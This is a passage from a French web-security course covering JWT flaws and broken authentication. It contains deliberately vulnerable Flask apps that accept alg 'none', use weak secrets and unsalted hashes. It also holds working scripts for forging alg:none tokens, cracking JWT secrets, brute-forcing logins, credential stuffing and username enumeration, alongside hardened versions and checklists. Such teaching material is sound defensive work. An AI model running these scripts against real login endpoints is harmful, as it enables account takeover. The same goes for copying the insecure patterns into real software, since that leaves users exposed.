        .output {
            background: rgba(0,0,0,0.7);
            padding: 20px;
            border-radius: 10px;
            min-height: 150px;
            font-family: 'Courier New', monospace;
            white-space: pre-wrap;
            word-wrap: break-word;
        }
        .token-display {
            background: rgba(0,0,0,0.5);
            padding: 15px;
            border-radius: 5px;
            margin: 10px 0;
            word-break: break-all;
        }
        .attacks {
            background: rgba(255,68,68,0.2);
            border: 2px solid #ff4444;
            padding: 20px;
            border-radius: 10px;
        }
        .attacks h2 { color: #ff4444; margin-bottom: 15px; }
        .attack-item {
            background: rgba(0,0,0,0.3);
            padding: 15px;
            margin: 10px 0;
            border-radius: 5px;
        }
        .attack-item h4 { color: #ff4444; margin-bottom: 10px; }
        code {
            background: rgba(0,0,0,0.5);
            padding: 2px 6px;
            border-radius: 3px;
        }
    </style>
</head>
<body>
    <div class="container">
        <div class="header">
            <h1>[SECURISE] JWT Authentication Demo</h1>
            <p>JSON Web Token - Vulnerabilities Showcase</p>
        </div>
        
        <div class="warning">
            [ATTENTION] APPLICATION VULNÉRABLE - DÉMO JWT VULNERABILITIES
        </div>
        
        <div class="grid">
            <!-- LOGIN -->
            <div class="card">
                <h3>[CLE] Login</h3>
                <input type="text" id="login-username" placeholder="Username" value="alice">
                <input type="password" id="login-password" placeholder="Password" value="alice123">
                <button onclick="login()">Login</button>
                <div style="margin-top: 15px; font-size: 0.9em;">
                    <strong>Test accounts:</strong><br>
                    alice / alice123 (user)<br>
                    bob / bob123 (user)<br>
                    admin / admin123 (admin)
                </div>
            </div>
            
            <!-- VERIFY TOKEN -->
            <div class="card">
                <h3>[OK] Verify Token</h3>
                <textarea id="verify-token" placeholder="Paste JWT here" rows="4"></textarea>
                <button onclick="verifyToken()">Verify</button>
            </div>
            
            <!-- ACCESS PROTECTED -->
            <div class="card">
                <h3>[VERROUILLE] Access Protected Route</h3>
                <p>Current token will be used</p>
                <button onclick="accessUser()">Access /api/user</button>
                <button onclick="accessAdmin()">Access /api/admin</button>
            </div>
            
            <!-- DECODE TOKEN -->
            <div class="card">
                <h3>[RECHERCHE] Decode Token (Client-side)</h3>
                <textarea id="decode-token" placeholder="Paste JWT here" rows="4"></textarea>
                <button onclick="decodeToken()">Decode</button>
            </div>
        </div>
        
        <div class="card">
            <h3>[FICHIER] Current JWT</h3>
            <div class="token-display" id="current-token">No token yet</div>
        </div>
        
        <div class="card">
            <h3>[GRAPHIQUE] Output</h3>
            <div class="output" id="output">Results will appear here...</div>
        </div>
        
        <div class="attacks">
            <h2>[DANGER] JWT Attack Vectors</h2>
            
            <div class="attack-item">
                <h4>1. Algorithm Confusion (alg: none)</h4>
                <p>Modifier le header pour utiliser <code>alg: "none"</code> et supprimer la signature.</p>
                <button onclick="attackAlgNone()">Generate alg:none Token</button>
            </div>
            
            <div class="attack-item">
                <h4>2. Weak Secret Brute-force</h4>
                <p>Le secret est "secret" - très faible et crackable.</p>
                <p>Essayez avec: <code>jwt-cracker</code> ou <code>hashcat</code></p>
            </div>
            
            <div class="attack-item">
                <h4>3. Modify Payload</h4>
                <p>Si vous connaissez le secret, modifiez le payload (ex: role user -> admin).</p>
                <button onclick="attackModifyPayload()">Escalate to Admin</button>
            </div>
            
            <div class="attack-item">
                <h4>4. No Expiration</h4>
                <p>Les tokens n'ont pas d'expiration - restent valides indéfiniment.</p>
            </div>
            
            <div class="attack-item">
                <h4>5. Token in LocalStorage</h4>
                <p>Le token est stocké dans localStorage -> Vulnérable au XSS.</p>
                <code>console.log(localStorage.getItem('jwt'))</code>
            </div>
        </div>
    </div>
    
    <script>
        let currentToken = '';
        
        async function login() {
            const username = document.getElementById('login-username').value;
            const password = document.getElementById('login-password').value;
            const output = document.getElementById('output');
            
            try {
                const response = await fetch('/api/login', {
                    method: 'POST',
                    headers: { 'Content-Type': 'application/json' },
                    body: JSON.stringify({ username, password })
                });
                
                const data = await response.json();
                
                if (data.token) {
                    currentToken = data.token;
                    localStorage.setItem('jwt', data.token);  // [X] VULNÉRABLE
                    document.getElementById('current-token').textContent = data.token;
                    output.textContent = JSON.stringify(data, null, 2);
                } else {
                    output.textContent = 'Error: ' + (data.error || 'Unknown error');
                }
            } catch (error) {
                output.textContent = 'Error: ' + error.message;
            }
        }
        
        async function verifyToken() {
            const token = document.getElementById('verify-token').value || currentToken;
            const output = document.getElementById('output');
            
            try {
                const response = await fetch('/api/verify', {
                    method: 'POST',
                    headers: { 'Content-Type': 'application/json' },
                    body: JSON.stringify({ token })
                });
                
                const data = await response.json();
                output.textContent = JSON.stringify(data, null, 2);
            } catch (error) {
                output.textContent = 'Error: ' + error.message;
            }
        }
        
        async function accessUser() {
            await accessProtected('/api/user');
        }
        
        async function accessAdmin() {
            await accessProtected('/api/admin');
        }
        
        async function accessProtected(endpoint) {
            const output = document.getElementById('output');
            
            if (!currentToken) {
                output.textContent = 'Please login first';
                return;
            }
            
            try {
                const response = await fetch(endpoint, {
                    headers: {
                        'Authorization': 'Bearer ' + currentToken
                    }
                });
                
                const data = await response.json();
                output.textContent = JSON.stringify(data, null, 2);
            } catch (error) {
                output.textContent = 'Error: ' + error.message;
            }
        }
        
        function decodeToken() {
            const token = document.getElementById('decode-token').value;
            const output = document.getElementById('output');
            
            try {
                const parts = token.split('.');
                const header = JSON.parse(atob(parts[0]));
                const payload = JSON.parse(atob(parts[1]));
                
                output.textContent = 'HEADER:\\n' + JSON.stringify(header, null, 2) + 
                                   '\\n\\nPAYLOAD:\\n' + JSON.stringify(payload, null, 2);
            } catch (error) {
                output.textContent = 'Error decoding: ' + error.message;
            }
        }
        
        function attackAlgNone() {
            const output = document.getElementById('output');
            
            // Créer un JWT avec alg: none
            const header = { alg: 'none', typ: 'JWT' };
            const payload = { user_id: 1, username: 'alice', role: 'admin' };
            
            const encodedHeader = btoa(JSON.stringify(header)).replace(/=/g, '');
            const encodedPayload = btoa(JSON.stringify(payload)).replace(/=/g, '');
            
            const maliciousToken = encodedHeader + '.' + encodedPayload + '.';
            
            document.getElementById('verify-token').value = maliciousToken;
            
            output.textContent = '[DANGER] Generated alg:none token:\\n\\n' + maliciousToken +
                               '\\n\\nThis token has no signature and role changed to admin!';
        }
        
        async function attackModifyPayload() {
            // Simuler la modification avec le secret connu
            const output = document.getElementById('output');
            
            output.textContent = '[DANGER] Generating modified token with role=admin...\\n\\n' +
                               'In real attack, you would:\\n' +
                               '1. Crack the secret ("secret")\\n' +
                               '2. Modify payload: role -> admin\\n' +
                               '3. Re-sign with the cracked secret\\n\\n' +
                               'Use tools: jwt.io, jwt-tool, etc.';
        }
    </script>
</body>
</html>
    ''')

# [X] ROUTE VULNÉRABLE : Login
@app.route('/api/login', methods=['POST'])
def login():
    """
    [X] VULNÉRABLE : Génère JWT avec secret faible
    """
    data = request.json
    username = data.get('username')
    password = data.get('password')
    
    user = USERS_DB.get(username)
    
    if not user or user['password'] != hashlib.sha256(password.encode()).hexdigest():
        return jsonify({"error": "Invalid credentials"}), 401
    
    # [X] ERREUR 3 : Pas d'expiration
    payload = {
        'user_id': list(USERS_DB.keys()).index(username) + 1,
        'username': username,
        'role': user['role']
        # [X] Pas de 'exp' !
    }
    
    # [X] ERREUR 1 : Secret faible
    token = jwt.encode(payload, SECRET_KEY, algorithm='HS256')
    
    return jsonify({
        "token": token,
        "username": username,
        "role": user['role']
    })

# [X] ROUTE VULNÉRABLE : Verify
@app.route('/api/verify', methods=['POST'])
def verify():
    """
    [X] VULNÉRABLE : Accepte alg="none"
    """
    data = request.json
    token = data.get('token')
    
    try:
        # [X] ERREUR 4 : Accepte "none" algorithm
        decoded = jwt.decode(
            token,
            SECRET_KEY,
            algorithms=['HS256', 'none']  # [X] DANGEREUX !
        )
        
        return jsonify({
            "valid": True,
            "payload": decoded
        })
        
    except jwt.ExpiredSignatureError:
        return jsonify({"error": "Token expired"}), 401
    except jwt.InvalidTokenError as e:
        return jsonify({"error": str(e)}), 401

# [X] ROUTE VULNÉRABLE : Protected User
@app.route('/api/user')
def user_route():
    """Route protégée pour utilisateurs"""
    auth_header = request.headers.get('Authorization', '')
    
    if not auth_header.startswith('Bearer '):
        return jsonify({"error": "Missing token"}), 401
    
    token = auth_header.split(' ')[1]
    
    try:
        # [X] Même vulnérabilités que verify()
        decoded = jwt.decode(token, SECRET_KEY, algorithms=['HS256', 'none'])
        
        return jsonify({
            "message": "Welcome to user area",
            "user": decoded
        })
        
    except jwt.InvalidTokenError:
        return jsonify({"error": "Invalid token"}), 401

# [X] ROUTE VULNÉRABLE : Protected Admin
@app.route('/api/admin')
def admin_route():
    """Route admin (vérification faible)"""
    auth_header = request.headers.get('Authorization', '')
    
    if not auth_header.startswith('Bearer '):
        return jsonify({"error": "Missing token"}), 401
    
    token = auth_header.split(' ')[1]
    
    try:
        decoded = jwt.decode(token, SECRET_KEY, algorithms=['HS256', 'none'])
        
        # [X] ERREUR 5 : Vérification faible du rôle
        if decoded.get('role') == 'admin':
            return jsonify({
                "message": "Welcome to admin area",
                "secret": "FLAG{jwt_admin_access_granted}",
                "users": list(USERS_DB.keys())
            })
        else:
            return jsonify({"error": "Admin access required"}), 403
            
    except jwt.InvalidTokenError:
        return jsonify({"error": "Invalid token"}), 401

if __name__ == '__main__':
    print("[RAPIDE] JWT Auth (VULNÉRABLE) sur http://localhost:5000")
    print("[ATTENTION]  Vulnérabilités :")
    print("   1. Secret faible : 'secret'")
    print("   2. Accepte alg='none'")
    print("   3. Pas d'expiration")
    print("   4. Token dans localStorage (XSS)")
    print("   5. Vérification rôle faible")
    app.run(debug=True, port=5000)
```

---

### PARTIE B : TESTER LES ATTAQUES

**1. Lancer l'application :**

```bash
pip install pyjwt
python jwt_auth_vulnerable.py
```

**2. Ouvrir http://localhost:5000**

**3. Test 1 - Login normal :**

- Username : `alice`
- Password : `alice123`
- Cliquer "Login"

**Résultat :**
```json
{
  "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...",
  "username": "alice",
  "role": "user"
}
```

---

**4. Test 2 - Attack alg: none :**

- Cliquer sur "Generate alg:none Token"
- Copier le token généré
- Coller dans "Verify Token"
- Cliquer "Verify"

**Token généré (alg: none) :**
```
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyX2lkIjoxLCJ1c2VybmFtZSI6ImFsaWNlIiwicm9sZSI6ImFkbWluIn0.
```

**Résultat :**
```json
{
  "valid": true,
  "payload": {
    "user_id": 1,
    "username": "alice",
    "role": "admin"  // [OK] Escalade de privilèges !
  }
}
```

---

**5. Test 3 - Accès admin avec alg: none :**

- Utiliser le token alg:none dans "Access /api/admin"

**Résultat :**
```json
{
  "message": "Welcome to admin area",
  "secret": "FLAG{jwt_admin_access_granted}",
  "users": ["alice", "bob", "admin"]
}
```

**[OK] Accès admin obtenu sans être admin !**

---

**6. Test 4 - Brute-force du secret :**

```python
# crack_jwt.py
import jwt

# Token capturé
token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxLCJ1c2VybmFtZSI6ImFsaWNlIiwicm9sZSI6InVzZXIifQ.6vhLZ7R3pYc9JX6kL8mN0oP1qR2sT3uV4wX5yZ6aA7b"

# Wordlist
secrets = ["secret", "password", "123456", "admin", "jwt", "key"]

for secret in secrets:
    try:
        decoded = jwt.decode(token, secret, algorithms=['HS256'])
        print(f"[OK] SECRET TROUVÉ : {secret}")
        print(f"Payload : {decoded}")
        
        # Maintenant on peut créer n'importe quel token !
        malicious_payload = {
            'user_id': 1,
            'username': 'alice',
            'role': 'admin'  # [X] Escalade
        }
        
        malicious_token = jwt.encode(malicious_payload, secret, algorithm='HS256')
        print(f"\n[DANGER] Token malveillant : {malicious_token}")
        
        break
    except jwt.InvalidSignatureError:
        continue
```

**Résultat :**
```
[OK] SECRET TROUVÉ : secret
Payload : {'user_id': 1, 'username': 'alice', 'role': 'user'}

[DANGER] Token malveillant : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
```

---

### PARTIE C : VERSION SÉCURISÉE

```python
# jwt_auth_secure.py
from flask import Flask, request, jsonify, make_response
from flask_cors import CORS
import jwt
import datetime
import hashlib
import secrets
import os

app = Flask(__name__)
CORS(app, 
     origins=['http://localhost:3000'],
     supports_credentials=True)

# [OK] Secret fort et aléatoire
SECRET_KEY = os.environ.get('JWT_SECRET', secrets.token_urlsafe(64))

# Utilisateurs
USERS_DB = {
    'alice': {
        'password': hashlib.sha256('alice123'.encode()).hexdigest(),
        'role': 'user'
    },
    'admin': {
        'password': hashlib.sha256('admin123'.encode()).hexdigest(),
        'role': 'admin'
    }
}

# Liste noire de tokens révoqués (en production, utiliser Redis)
REVOKED_TOKENS = set()

def generate_token(user_id, username, role):
    """
    [OK] Génère un JWT sécurisé
    """
    now = datetime.datetime.utcnow()
    
    payload = {
        'user_id': user_id,
        'username': username,
        'role': role,
        'iat': now,  # [OK] Issued at
        'exp': now + datetime.timedelta(hours=1),  # [OK] Expiration 1h
        'jti': secrets.token_urlsafe(16)  # [OK] JWT ID unique
    }
    
    # [OK] Seulement HS256
    token = jwt.encode(payload, SECRET_KEY, algorithm='HS256')
    
    return token

def verify_token(token):
    """
    [OK] Vérifie un JWT de manière sécurisée
    """
    try:
        # [OK] Algorithme strict
        decoded = jwt.decode(
            token,
            SECRET_KEY,
            algorithms=['HS256'],  # [OK] Seulement HS256
            options={
                'verify_signature': True,  # [OK] Vérifier signature
                'verify_exp': True,        # [OK] Vérifier expiration
                'require': ['exp', 'iat']  # [OK] Claims requis
            }
        )
        
        # [OK] Vérifier si révoqué
        jti = decoded.get('jti')
        if jti in REVOKED_TOKENS:
            raise jwt.InvalidTokenError("Token has been revoked")
        
        return decoded
        
    except jwt.ExpiredSignatureError:
        raise jwt.InvalidTokenError("Token has expired")
    except jwt.InvalidTokenError as e:
        raise e

@app.route('/api/login', methods=['POST'])
def login_secure():
    """
    [OK] Login sécurisé
    """
    data = request.json
    username = data.get('username')
    password = data.get('password')
    
    user = USERS_DB.get(username)
    
    if not user or user['password'] != hashlib.sha256(password.encode()).hexdigest():
        return jsonify({"error": "Invalid credentials"}), 401
    
    # [OK] Générer token sécurisé
    user_id = list(USERS_DB.keys()).index(username) + 1
    token = generate_token(user_id, username, user['role'])
    
    # [OK] Retourner dans un HttpOnly cookie
    response = make_response(jsonify({
        "username": username,
        "role": user['role']
    }))
    
    response.set_cookie(
        'jwt',
        token,
        httponly=True,   # [OK] Pas accessible via JavaScript
        secure=True,     # [OK] Seulement HTTPS
        samesite='Lax',  # [OK] Protection CSRF
        max_age=3600     # [OK] Expiration 1h
    )
    
    return response

@app.route('/api/verify', methods=['POST'])
def verify_secure():
    """
    [OK] Vérification sécurisée
    """
    # [OK] Lire depuis cookie
    token = request.cookies.get('jwt')
    
    if not token:
        return jsonify({"error": "No token provided"}), 401
    
    try:
        decoded = verify_token(token)
        
        return jsonify({
            "valid": True,
            "payload": {
                'username': decoded['username'],
                'role': decoded['role'],
                'expires_at': decoded['exp']
            }
        })
        
    except jwt.InvalidTokenError as e:
        return jsonify({"error": str(e)}), 401

@app.route('/api/user')
def user_route_secure():
    """[OK] Route protégée sécurisée"""
    token = request.cookies.get('jwt')
    
    if not token:
        return jsonify({"error": "Authentication required"}), 401
    
    try:
        decoded = verify_token(token)
        
        return jsonify({
            "message": "Welcome to user area",
            "user": {
                'username': decoded['username'],
                'role': decoded['role']
            }
        })
        
    except jwt.InvalidTokenError:
        return jsonify({"error": "Invalid token"}), 401

@app.route('/api/admin')
def admin_route_secure():
    """[OK] Route admin sécurisée"""
    token = request.cookies.get('jwt')
    
    if not token:
        return jsonify({"error": "Authentication required"}), 401
    
    try:
        decoded = verify_token(token)
        
        # [OK] Vérification stricte du rôle
        if decoded.get('role') != 'admin':
            return jsonify({"error": "Admin access required"}), 403
        
        return jsonify({
            "message": "Welcome to admin area",
            "users": list(USERS_DB.keys())
        })
        
    except jwt.InvalidTokenError:
        return jsonify({"error": "Invalid token"}), 401

@app.route('/api/logout', methods=['POST'])
def logout_secure():
    """[OK] Logout avec révocation"""
    token = request.cookies.get('jwt')
    
    if token:
        try:
            decoded = verify_token(token)
            jti = decoded.get('jti')
            
            # [OK] Ajouter à la liste noire
            if jti:
                REVOKED_TOKENS.add(jti)
        except:
            pass
    
    # [OK] Supprimer le cookie
    response = make_response(jsonify({"message": "Logged out"}))
    response.set_cookie('jwt', '', expires=0)
    
    return response

if __name__ == '__main__':
    print("[SECURITE]  JWT Auth SÉCURISÉ sur http://localhost:5001")
    print("[OK] Protections :")
    print("   1. Secret fort et aléatoire")
    print("   2. Seulement algorithme HS256")
    print("   3. Expiration 1h")
    print("   4. HttpOnly cookies")
    print("   5. Révocation possible (JTI)")
    print("   6. Vérification stricte")
    app.run(debug=False, port=5001, ssl_context='adhoc')
```

---

## [GRAPHIQUE] RÉCAPITULATIF JWT VULNERABILITIES

### [OK] Bonnes pratiques

| Pratique | Importance | Implémentation |
|----------|-----------|----------------|
| Secret fort | ***** | `secrets.token_urlsafe(64)` |
| Expiration courte | ***** | `exp`: 1h max |
| HttpOnly cookies | ***** | `httponly=True` |
| Algorithme strict | ***** | Seulement HS256 ou RS256 |
| Vérifier signature | ***** | `verify_signature=True` |
| Claims requis | **** | `require=['exp', 'iat']` |
| JTI pour révocation | **** | Unique ID par token |
| HTTPS seulement | ***** | `secure=True` |

---

### [X] Erreurs critiques

- [X] Secret faible ou hardcodé
- [X] Accepter `alg: "none"`
- [X] Pas d'expiration
- [X] Stocker dans localStorage (XSS)
- [X] Ne pas vérifier la signature
- [X] Accepter plusieurs algorithmes (HS256 + RS256)
- [X] Pas de révocation possible
- [X] Ne pas vérifier l'expiration

---

### [OBJECTIF] Checklist de sécurité JWT

```python
[OK] Secret généré aléatoirement (>= 256 bits)
[OK] Secret stocké dans variables d'environnement
[OK] Expiration définie (1h recommandé)
[OK] Algorithme unique et explicite
[OK] HttpOnly cookies (pas localStorage)
[OK] Secure flag (HTTPS uniquement)
[OK] SameSite cookie (protection CSRF)
[OK] Vérifier signature TOUJOURS
[OK] Vérifier expiration
[OK] Claims requis définis
[OK] JTI unique pour révocation
[OK] Refresh token séparé
[OK] Rotation des secrets régulière
```

---

**Prêt pour Broken Authentication (exercice complet) ?** [SECURISE]

# 15. BROKEN AUTHENTICATION (EXERCICE COMPLET)

## [DOCS] THÉORIE APPROFONDIE

### Qu'est-ce que Broken Authentication ?

**Définition :**
Ensemble de vulnérabilités dans les mécanismes d'authentification permettant aux attaquants de **compromettre des comptes utilisateurs**, soit en devinant les credentials, en exploitant des failles d'implémentation, ou en contournant complètement l'authentification.

**Analogie simple :**

Imagine une banque où :
- Les portes n'ont pas de limite de tentatives (brute-force)
- Les codes PIN sont "1234" par défaut (weak passwords)
- On peut deviner si un compte existe (enumeration)
- Pas de caméras pour détecter les tentatives suspectes (no monitoring)

-> C'est une banque avec Broken Authentication !

---

### Types de Broken Authentication

#### 1. **Brute-Force Attacks**

**Principe :**
Essayer toutes les combinaisons possibles de mots de passe.

**Sans rate limiting :**

```python
import requests

url = "https://site.com/login"
passwords = ["123456", "password", "admin", "letmein", ...]

for pwd in passwords:
    response = requests.post(url, json={
        "username": "admin",
        "password": pwd
    })
    
    if response.status_code == 200:
        print(f"[OK] Password found: {pwd}")
        break
```

**Statistiques :**
- Top 10 passwords couvrent **6% de tous les comptes**
- "123456" est utilisé par **23 millions de comptes**
- 1000 tentatives/seconde = crack "admin" en ~10 minutes

---

#### 2. **Credential Stuffing**

**Principe :**
Utiliser des credentials volés (leaked databases) pour tenter de se connecter.

**Sources de leaks :**
- haveibeenpwned.com : 12 milliards de comptes
- Collection #1-5 : 2.2 milliards d'emails/passwords
- LinkedIn leak : 117 millions
- Yahoo leak : 3 milliards

**Attaque :**

```python
# leaked_credentials.txt
admin:password123
user@example.com:Welcome1!
alice:alice2024

# Credential stuffing
for line in open('leaked_credentials.txt'):
    username, password = line.strip().split(':')
    
    response = requests.post(url, json={
        "username": username,
        "password": password
    })
    
    if response.status_code == 200:
        print(f"[OK] Valid: {username}:{password}")
```

**Taux de succès :** 0.1% - 2% (mais scale massivement)

---

#### 3. **Username Enumeration**

**Principe :**
Déterminer si un compte existe en analysant les réponses différentes.

**Vulnérable :**

```python
# Réponses différentes
if user_exists:
    return "Invalid password"  # [X] Révèle que le user existe
else:
    return "User not found"    # [X] Révèle que le user n'existe pas
```

**Exploitation :**

```python
emails = ["alice@site.com", "bob@site.com", "admin@site.com"]

for email in emails:
    response = requests.post(url, json={
        "username": email,
        "password": "wrong_password"
    })
    
    if "Invalid password" in response.text:
        print(f"[OK] User exists: {email}")
    elif "User not found" in response.text:
        print(f"[X] User doesn't exist: {email}")
```

**Autres méthodes d'enumeration :**
- Temps de réponse différent
- Codes HTTP différents (200 vs 404)
- Forgot password : "Email sent" vs "User not found"
- Registration : "Email already exists"

---

#### 4. **Weak Password Requirements**

**Exemples de passwords faibles :**

```python
# Top 10 passwords 2023
1. 123456
2. password
3. 123456789
4. 12345678
5. 12345
6. 1234567
7. password1
8. 12345679
9. qwerty
10. abc123
```

**Impact :**
- Crackables en secondes par brute-force
- Présents dans toutes les wordlists
- Credential stuffing réussit facilement

---

#### 5. **No Account Lockout**

**Principe :**
Pas de blocage après X tentatives échouées.

**Code vulnérable :**

```python
@app.route('/login', methods=['POST'])
def login():
    username = request.json.get('username')
    password = request.json.get('password')
    
    # [X] Pas de compteur de tentatives
    if authenticate(username, password):
        return {"success": True}
    else:
        return {"error": "Invalid credentials"}, 401
```

**Impact :**
- Brute-force illimité
- Credential stuffing à grande échelle
- Pas de détection d'attaque

---

#### 6. **Insecure Password Recovery**

**Vulnérabilités communes :**

**a) Questions secrètes faibles :**
```
"What's your mother's maiden name?"
"What city were you born in?"
"What's your favorite color?"
```

-> Réponses trouvables sur réseaux sociaux !

**b) Token prévisible :**

```python
# [X] Token séquentiel
reset_token = str(user_id) + str(timestamp)
# Exemple: "1231704567890"

# Attaquant peut deviner les tokens
for user_id in range(1, 10000):
    token = str(user_id) + str(time.time())
    try_reset(token)
```

**c) Token sans expiration :**

```python
# [X] Token valide indéfiniment
tokens[token] = user_id
```

**d) Token réutilisable :**

```python
# [X] Token pas supprimé après usage
if token in tokens:
    reset_password(tokens[token])
    # Token toujours valide !
```

---

#### 7. **Session Management Issues**

**Problèmes fréquents :**

**a) Session ID prévisible :**

```python
# [X] DANGEREUX
session_id = str(user_id) + str(timestamp)
# "1231704567890"
```

**b) Session sans expiration :**

```python
# [X] Session valide indéfiniment
session['user_id'] = user_id
```

**c) Session ID dans URL :**

```
[X] https://site.com/dashboard?session=abc123
```

**d) Session pas invalidée au logout :**

```python
@app.route('/logout')
def logout():
    # [X] Session toujours valide côté serveur
    session.clear()  # Seulement client-side
```

---

#### 8. **Missing Multi-Factor Authentication (2FA)**

**Impact :**
- Un seul facteur (password) à compromettre
- Password leak = accès total
- Phishing plus efficace

**Statistiques :**
- 2FA bloque **99.9%** des attaques automatisées
- Mais seulement **30%** des sites l'implémentent

---

#### 9. **Default Credentials**

**Exemples courants :**

```
admin:admin
admin:password
root:root
administrator:password123
user:user
```

**Cas réels :**
- Routeurs (admin:admin)
- Caméras IP (admin:12345)
- IoT devices (root:root)
- Applications web (admin:admin)

---

### Cas réels de Broken Authentication

**1. Dropbox (2012)**
- Pas de rate limiting
- Attaquants ont tenté 7 millions de credentials
- 68 millions de comptes compromis

**2. Twitter (2020)**
- API sans rate limiting
- Enumeration de 5.4 millions de comptes
- Numéros de téléphone exposés

**3. Yahoo (2013-2014)**
- Weak security questions
- 3 milliards de comptes compromis
- Le plus gros breach de l'histoire

**4. LinkedIn (2012)**
- Passwords en SHA-1 sans salt
- 117 millions de passwords crackés
- Credential stuffing sur d'autres sites

---

## [CODE] EXERCICE 17 : BROKEN AUTHENTICATION COMPLET

### Objectif

Créer une application complète avec **TOUTES** les vulnérabilités d'authentification et leur correction.

---

### PARTIE A : BACKEND VULNÉRABLE

```python
# auth_vulnerable.py
from flask import Flask, request, jsonify, session, render_template_string
from flask_cors import CORS
import hashlib
import sqlite3
import time
from datetime import datetime

app = Flask(__name__)
app.secret_key = 'weak_secret_key_123'  # [X] Secret faible
CORS(app, supports_credentials=True)

# Base de données
DB_FILE = 'users_vulnerable.db'

def init_db():
    """Initialise la base de données"""
    conn = sqlite3.connect(DB_FILE)
    cursor = conn.cursor()
    
    cursor.execute('''
        CREATE TABLE IF NOT EXISTS users (
            id INTEGER PRIMARY KEY AUTOINCREMENT,
            username TEXT UNIQUE NOT NULL,
            email TEXT UNIQUE NOT NULL,
            password TEXT NOT NULL,
            role TEXT DEFAULT 'user',
            security_question TEXT,
            security_answer TEXT,
            created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
        )
    ''')
    
    cursor.execute('''
        CREATE TABLE IF NOT EXISTS password_resets (
            id INTEGER PRIMARY KEY AUTOINCREMENT,
            user_id INTEGER,
            token TEXT UNIQUE,
            created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
        )
    ''')
    
    # [X] Comptes avec mots de passe TRÈS faibles
    default_users = [
        ('admin', 'admin@example.com', '123456', 'admin', 'What is your favorite color?', 'blue'),
        ('alice', 'alice@example.com', 'password', 'user', 'What city were you born in?', 'Paris'),
        ('bob', 'bob@example.com', 'qwerty', 'user', 'What is your pet name?', 'Max'),
        ('user', 'user@example.com', 'user', 'user', 'What is your mother maiden name?', 'Smith'),
    ]
    
    for username, email, password, role, sq, sa in default_users:
        try:
            # [X] SHA-256 sans salt
            hashed = hashlib.sha256(password.encode()).hexdigest()
            
            cursor.execute('''
                INSERT INTO users (username, email, password, role, security_question, security_answer)
                VALUES (?, ?, ?, ?, ?, ?)
            ''', (username, email, hashed, role, sq, sa))
        except sqlite3.IntegrityError:
            pass
    
    conn.commit()
    conn.close()

init_db()

@app.route('/')
def index():
    return render_template_string('''
<!DOCTYPE html>
<html>
<head>
    <title>Broken Authentication Demo</title>
    <style>
        * { margin: 0; padding: 0; box-sizing: border-box; }
        body {
            font-family: Arial, sans-serif;
            background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
            padding: 20px;
            color: white;
        }
        .container { max-width: 1400px; margin: 0 auto; }
        .header {
            background: rgba(0,0,0,0.6);
            padding: 30px;
            border-radius: 10px;
            margin-bottom: 30px;
            text-align: center;
        }
        .warning {
            background: #ff4444;
            padding: 15px;
            border-radius: 5px;
            margin-bottom: 20px;
            font-weight: bold;
        }
        .grid {
            display: grid;
            grid-template-columns: repeat(auto-fit, minmax(350px, 1fr));
            gap: 20px;
            margin-bottom: 30px;
        }
        .card {
            background: rgba(255,255,255,0.1);
            backdrop-filter: blur(10px);
            padding: 25px;
            border-radius: 10px;
            border: 1px solid rgba(255,255,255,0.2);
        }
        .card h3 { margin-bottom: 15px; color: #ffd700; }
        input, select {
            width: 100%;
            padding: 12px;
            margin-bottom: 15px;
            border: 2px solid rgba(255,255,255,0.3);
            border-radius: 5px;
            background: rgba(0,0,0,0.3);
            color: white;
            font-family: inherit;
        }
        button {
            width: 100%;
            padding: 12px;
            background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
            border: none;
            border-radius: 5px;
            color: white;
            font-weight: bold;
            cursor: pointer;
            transition: transform 0.2s;
            margin-bottom: 10px;
        }
        button:hover { transform: translateY(-2px); }
        .output {
            background: rgba(0,0,0,0.7);
            padding: 20px;
            border-radius: 10px;
            min-height: 200px;
            font-family: 'Courier New', monospace;
            white-space: pre-wrap;
            word-wrap: break-word;
        }
        .attacks {
            background: rgba(255,68,68,0.2);
            border: 2px solid #ff4444;
            padding: 20px;
            border-radius: 10px;
        }
        .attacks h2 { color: #ff4444; margin-bottom: 15px; }
        .attack-item {
            background: rgba(0,0,0,0.3);
            padding: 15px;
            margin: 10px 0;
            border-radius: 5px;
        }
        .attack-item h4 { color: #ff4444; margin-bottom: 10px; }
        code {
            background: rgba(0,0,0,0.5);
            padding: 2px 6px;
            border-radius: 3px;
        }
        .credentials {
            background: rgba(0,0,0,0.5);
            padding: 15px;
            border-radius: 5px;
            margin-top: 15px;
        }
    </style>
</head>
<body>
    <div class="container">
        <div class="header">
            <h1>[DEVERROUILLE] Broken Authentication Demo</h1>
            <p>Complete Vulnerability Showcase</p>
        </div>
        
        <div class="warning">
            [ATTENTION] APPLICATION VULNÉRABLE - TOUTES LES FAILLES D'AUTHENTIFICATION
        </div>
        
        <div class="grid">
            <!-- LOGIN -->
            <div class="card">
                <h3>[CLE] Login</h3>
                <input type="text" id="login-username" placeholder="Username or Email">
                <input type="password" id="login-password" placeholder="Password">
                <button onclick="login()">Login</button>
                
                <div class="credentials">
                    <strong>Default Credentials:</strong><br>
                    admin / 123456 (admin)<br>
                    alice / password (user)<br>
                    bob / qwerty (user)<br>
                    user / user (user)
                </div>
            </div>
            
            <!-- REGISTER -->
            <div class="card">
                <h3>[NOTE] Register</h3>
                <input type="text" id="reg-username" placeholder="Username">
                <input type="email" id="reg-email" placeholder="Email">
                <input type="password" id="reg-password" placeholder="Password">
                <select id="reg-security-question">
                    <option>What is your favorite color?</option>
                    <option>What city were you born in?</option>
                    <option>What is your pet name?</option>
                </select>
                <input type="text" id="reg-security-answer" placeholder="Security Answer">
                <button onclick="register()">Register</button>
            </div>
            
            <!-- FORGOT PASSWORD -->
            <div class="card">
                <h3>[SYNC] Forgot Password</h3>
                <input type="text" id="forgot-username" placeholder="Username">
                <button onclick="forgotPassword()">Request Reset Token</button>
                
                <input type="text" id="reset-token" placeholder="Reset Token" style="margin-top: 15px;">
                <input type="password" id="new-password" placeholder="New Password">
                <button onclick="resetPassword()">Reset Password</button>
            </div>
            
            <!-- USER ENUMERATION -->
            <div class="card">
                <h3>[RECHERCHE] Check User Existence</h3>
